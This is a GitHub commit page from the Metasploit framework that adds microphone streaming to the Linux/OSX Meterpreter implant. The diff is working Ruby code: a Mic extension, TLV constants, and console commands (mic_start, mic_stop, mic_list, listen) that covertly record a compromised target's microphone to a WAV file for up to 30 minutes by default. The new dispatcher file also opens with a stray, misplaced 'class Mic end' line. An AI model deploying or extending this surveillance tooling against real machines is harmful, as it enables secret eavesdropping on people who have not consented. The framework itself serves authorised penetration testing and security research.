Skip to content

Commit cdfb678

Browse files
author
Brent Cook
committed
Land rapid7#8639, Add mic audio streaming to Linux/OSX native meterpreter
2 parents 12198a0 + baead02 commit cdfb678

File tree

5 files changed

+274
-2
lines changed

5 files changed

+274
-2
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
# -*- coding: binary -*-
2+
3+
require 'rex/post/meterpreter/channel'
4+
require 'rex/post/meterpreter/channels/pools/stream_pool'
5+
6+
module Rex
7+
module Post
8+
module Meterpreter
9+
module Extensions
10+
module Stdapi
11+
module Mic
12+
13+
###
14+
#
15+
# This meterpreter extension can list and capture from microphone
16+
#
17+
###
18+
class Mic
19+
def initialize(client)
20+
@client = client
21+
end
22+
23+
def session
24+
@client
25+
end
26+
27+
# List available microphones
28+
def mic_list
29+
response = client.send_request(Packet.create_request('audio_mic_list'))
30+
names = []
31+
if response.result == 0
32+
response.get_tlvs(TLV_TYPE_AUDIO_INTERFACE_NAME).each do |tlv|
33+
names << tlv.value
34+
end
35+
end
36+
names
37+
end
38+
39+
# Starts recording audio from microphone
40+
def mic_start(device_id)
41+
request = Packet.create_request('audio_mic_start')
42+
request.add_tlv(TLV_TYPE_AUDIO_INTERFACE_ID, device_id)
43+
response = client.send_request(request)
44+
return nil unless response.result == 0
45+
46+
channel = Channel.create(client, 'audio_mic', Rex::Post::Meterpreter::Channels::Pools::StreamPool, CHANNEL_FLAG_SYNCHRONOUS)
47+
end
48+
49+
# Stop recording from microphone
50+
def mic_stop
51+
client.send_request(Packet.create_request('audio_mic_stop'))
52+
true
53+
end
54+
55+
attr_accessor :client
56+
end
57+
end
58+
end
59+
end
60+
end
61+
end
62+
end

lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@
1919
require 'rex/post/meterpreter/extensions/stdapi/railgun/railgun'
2020
require 'rex/post/meterpreter/extensions/stdapi/ui'
2121
require 'rex/post/meterpreter/extensions/stdapi/webcam/webcam'
22+
require 'rex/post/meterpreter/extensions/stdapi/mic/mic'
2223

2324
module Rex
2425
module Post
@@ -83,6 +84,10 @@ def initialize(client)
8384
'name' => 'webcam',
8485
'ext' => Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam.new(client)
8586
},
87+
{
88+
'name' => 'mic',
89+
'ext' => Rex::Post::Meterpreter::Extensions::Stdapi::Mic::Mic.new(client)
90+
},
8691
{
8792
'name' => 'ui',
8893
'ext' => UI.new(client)

lib/rex/post/meterpreter/extensions/stdapi/tlv.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -249,8 +249,10 @@ module Stdapi
249249
#
250250
##
251251

252-
TLV_TYPE_AUDIO_DURATION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
253-
TLV_TYPE_AUDIO_DATA = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2)
252+
TLV_TYPE_AUDIO_DURATION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 10)
253+
TLV_TYPE_AUDIO_DATA = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 11)
254+
TLV_TYPE_AUDIO_INTERFACE_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 12)
255+
TLV_TYPE_AUDIO_INTERFACE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13)
254256

255257
end; end; end; end; end
256258

lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ class Console::CommandDispatcher::Stdapi
1818
require 'rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys'
1919
require 'rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui'
2020
require 'rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam'
21+
require 'rex/post/meterpreter/ui/console/command_dispatcher/stdapi/mic'
2122

2223
Klass = Console::CommandDispatcher::Stdapi
2324

@@ -28,6 +29,7 @@ class Console::CommandDispatcher::Stdapi
2829
Klass::Sys,
2930
Klass::Ui,
3031
Klass::Webcam,
32+
Klass::Mic
3133
]
3234

3335
include Console::CommandDispatcher
Lines changed: 201 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,201 @@
1+
class Mic
2+
end# -*- coding: binary -*-
3+
require 'rex/post/meterpreter'
4+
require 'bindata'
5+
6+
module Rex
7+
module Post
8+
module Meterpreter
9+
module Ui
10+
11+
###
12+
#
13+
# Mic - Capture audio from the remote system
14+
#
15+
###
16+
class Console::CommandDispatcher::Stdapi::Mic
17+
Klass = Console::CommandDispatcher::Stdapi::Mic
18+
19+
include Console::CommandDispatcher
20+
21+
#
22+
# List of supported commands.
23+
#
24+
def commands
25+
all = {
26+
'mic_start' => 'start capturing an audio stream from the target mic',
27+
'mic_stop' => 'stop capturing audio',
28+
'mic_list' => 'list all microphone interfaces',
29+
'listen' => 'listen to a saved audio recording via audio player'
30+
}
31+
reqs = {
32+
'mic_start' => [ 'audio_mic_start' ],
33+
'mic_stop' => [ 'audio_mic_stop' ],
34+
'mic_list' => [ 'audio_mic_list' ],
35+
'listen' => [ 'audio_mic_start' ]
36+
}
37+
38+
filter_commands(all, reqs)
39+
end
40+
41+
#
42+
# Name for this dispatcher
43+
#
44+
def name
45+
"Stdapi: Mic"
46+
end
47+
48+
def cmd_mic_list
49+
client.mic.mic_list
50+
if client.mic.mic_list.length == 0
51+
print_error("No mics were found")
52+
return
53+
end
54+
55+
client.mic.mic_list.each_with_index do |name, indx|
56+
print_line("#{indx + 1}: #{name}")
57+
end
58+
end
59+
60+
def audio_file_wave_header(sample_rate_hz:, num_channels:, bits_per_sample:, data_size:)
61+
subchunk1_size = 16
62+
chunk_size = 4 + (8 + subchunk1_size) + (8 + data_size)
63+
byte_rate = sample_rate_hz * num_channels * bits_per_sample / 8
64+
block_align = num_channels * bits_per_sample / 8
65+
66+
[
67+
BinData::Int32be.new(0x52494646), # ChunkID: "RIFF"
68+
BinData::Int32le.new(chunk_size), # ChunkSize
69+
BinData::Int32be.new(0x57415645), # Format: "WAVE"
70+
BinData::Int32be.new(0x666d7420), # SubChunk1ID: "fmt "
71+
BinData::Int32le.new(16), # SubChunk1Size
72+
BinData::Int16le.new(1), # AudioFormat
73+
BinData::Int16le.new(num_channels), # NumChannels
74+
BinData::Int32le.new(sample_rate_hz), # SampleRate
75+
BinData::Int32le.new(byte_rate), # ByteRate
76+
BinData::Int16le.new(block_align), # BlockAlign
77+
BinData::Int16le.new(bits_per_sample), # BitsPerSample
78+
BinData::Int32be.new(0x64617461), # SubChunk2ID: "data"
79+
BinData::Int32le.new(data_size) # SubChunk2Size
80+
]
81+
end
82+
83+
def cmd_mic_start(*args)
84+
get_data = lambda do |channel, file|
85+
data = channel.read(65536)
86+
if data
87+
::File.open(file, 'a') do |f|
88+
f.write(data)
89+
end
90+
return data.length
91+
end
92+
return 0
93+
end
94+
device_id = 1
95+
duration = 1800
96+
saved_audio_path = Rex::Text.rand_text_alpha(8) + ".wav"
97+
98+
mic_start_opts = Rex::Parser::Arguments.new(
99+
"-h" => [ false, "Help Banner" ],
100+
"-d" => [ true, "The stream duration in seconds (Default: 1800)" ], # 30 min
101+
"-m" => [ true, "Microphone device index to record from (1: system default)" ],
102+
"-s" => [ true, "The saved audio file path (Default: '#{saved_audio_path}')" ]
103+
)
104+
105+
mic_start_opts.parse(args) do |opt, _idx, val|
106+
case opt
107+
when "-h"
108+
print_line("Usage: mic_start [options]\n")
109+
print_line("Streams and records audio from the target microphone.")
110+
print_line(mic_start_opts.usage)
111+
return
112+
when "-d"
113+
duration = val.to_i
114+
when "-m"
115+
device_id = val.to_i
116+
when "-s"
117+
saved_audio_path = val
118+
end
119+
end
120+
121+
mic_list = client.mic.mic_list
122+
if mic_list.length == 0
123+
print_error("Target does not have a mic")
124+
return
125+
end
126+
if device_id < 1 || device_id > mic_list.length
127+
print_error("Target does not have a mic with an id of #{device_id}")
128+
return
129+
end
130+
131+
channel = client.mic.mic_start(device_id)
132+
if channel.nil?
133+
print_error("Mic failed to start streaming.")
134+
return
135+
end
136+
print_status("Saving to audio file: #{saved_audio_path}")
137+
print_status("Streaming started...")
138+
total_data_len = 0
139+
begin
140+
::File.open(saved_audio_path, 'wb') do |outfile|
141+
audio_file_wave_header(sample_rate_hz: 11025, num_channels: 1, bits_per_sample: 16, data_size: 2_000_000_000).each {
142+
|e| e.write(outfile)
143+
}
144+
end
145+
::Timeout.timeout(duration) do
146+
while client do
147+
Rex::sleep(0.5)
148+
total_data_len += get_data.call(channel, saved_audio_path)
149+
end
150+
end
151+
rescue ::Timeout::Error
152+
ensure
153+
total_data_len += get_data.call(channel, saved_audio_path)
154+
client.mic.mic_stop
155+
print_status("Streaming stopped.")
156+
# Now that we know the actual length of data, update the file header.
157+
::File.open(saved_audio_path, 'rb+') do |outfile|
158+
outfile.seek(0, ::IO::SEEK_SET)
159+
audio_file_wave_header(sample_rate_hz: 11025, num_channels: 1, bits_per_sample: 16, data_size: total_data_len).each {
160+
|e| e.write(outfile)
161+
}
162+
end
163+
end
164+
end
165+
166+
def cmd_listen(*args)
167+
filename = nil
168+
169+
listen_opts = Rex::Parser::Arguments.new(
170+
"-h" => [ false, "Help Banner" ],
171+
"-f" => [ true, "audio filename" ]
172+
)
173+
174+
listen_opts.parse(args) do |opt, _idx, val|
175+
case opt
176+
when "-h"
177+
print_line("Usage: listen -f <filename>\n")
178+
print_line("Plays saved audio from a file.")
179+
print_line(listen_opts.usage)
180+
return
181+
when "-f"
182+
filename = val
183+
end
184+
end
185+
186+
if filename.nil?
187+
print_error("use '-f' option to provide a filename for playback")
188+
return
189+
end
190+
191+
Rex::Compat.play_sound(::File.expand_path(filename))
192+
end
193+
194+
def cmd_mic_stop
195+
client.mic.mic_stop
196+
end
197+
end
198+
end
199+
end
200+
end
201+
end

0 commit comments

Comments
 (0)